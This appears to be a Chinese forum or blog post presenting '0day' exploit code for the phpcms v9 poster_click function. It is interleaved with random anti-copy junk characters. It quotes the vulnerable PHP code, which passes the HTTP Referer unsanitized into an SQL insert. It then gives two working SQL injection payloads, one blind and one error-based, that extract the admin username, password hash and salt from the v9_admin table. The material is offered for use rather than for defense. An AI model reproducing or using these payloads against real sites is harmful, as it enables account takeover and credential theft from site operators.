phpcms post_click注入0day利用代码

admin

有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:
$ M  w9 `' G- o* d8 F
- x; B3 ~; x& j& B- o$ g问题函数\phpcms\modules\poster\index.php

+ B2 E. N* \/ {3 @% f$ ~public function poster_click() {
& t* J/ }! N. H- V9 d( D+ @$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
$r = $this->db->get_one(array('id'=>$id));
6 ^# k: U+ P1 f+ R; b8 yif (!is_array($r) && empty($r)) return false;
9 h* O) c# h5 a2 }1 B6 W, D& b$ip_area = pc_base::load_sys_class('ip_area');
& m( j3 }5 v; X9 ^$ip = ip();
$area = $ip_area->get($ip);
$username = param::get_cookie('username') ? param::get_cookie('username') : '';
if($id) {
$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
1 w, [! R0 t3 q6 }: U# V7 a$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
}
' ~8 F* O' S- }$ D$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
8 ]" M" l9 J& [2 e4 P+ m$setting = string2array($r['setting']);
if (count($setting)==1) {
$url = $setting['1']['linkurl'];
} else {
$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
. V, }4 j7 I+ e: D}
header('Location: '.$url);
}
' b4 d: O" u6 M7 a

. g0 r9 P) @" u) T
利用方式：
) g3 T& [9 Q8 |1 E; k! k
1、可以采用盲注入的手法：
/ Z- B: Z1 ?5 E& }+ U& x  a5 _$ E" {
" l) K' w) w* k5 c: Xreferer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#

通过返回页面，正常与否一个个猜解密码字段。

2、代码是花开写的，随手附上了：

8 y0 \  }+ ^5 J3 Z$ q/ q1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#

此方法是爆错注入手法，原理自查。
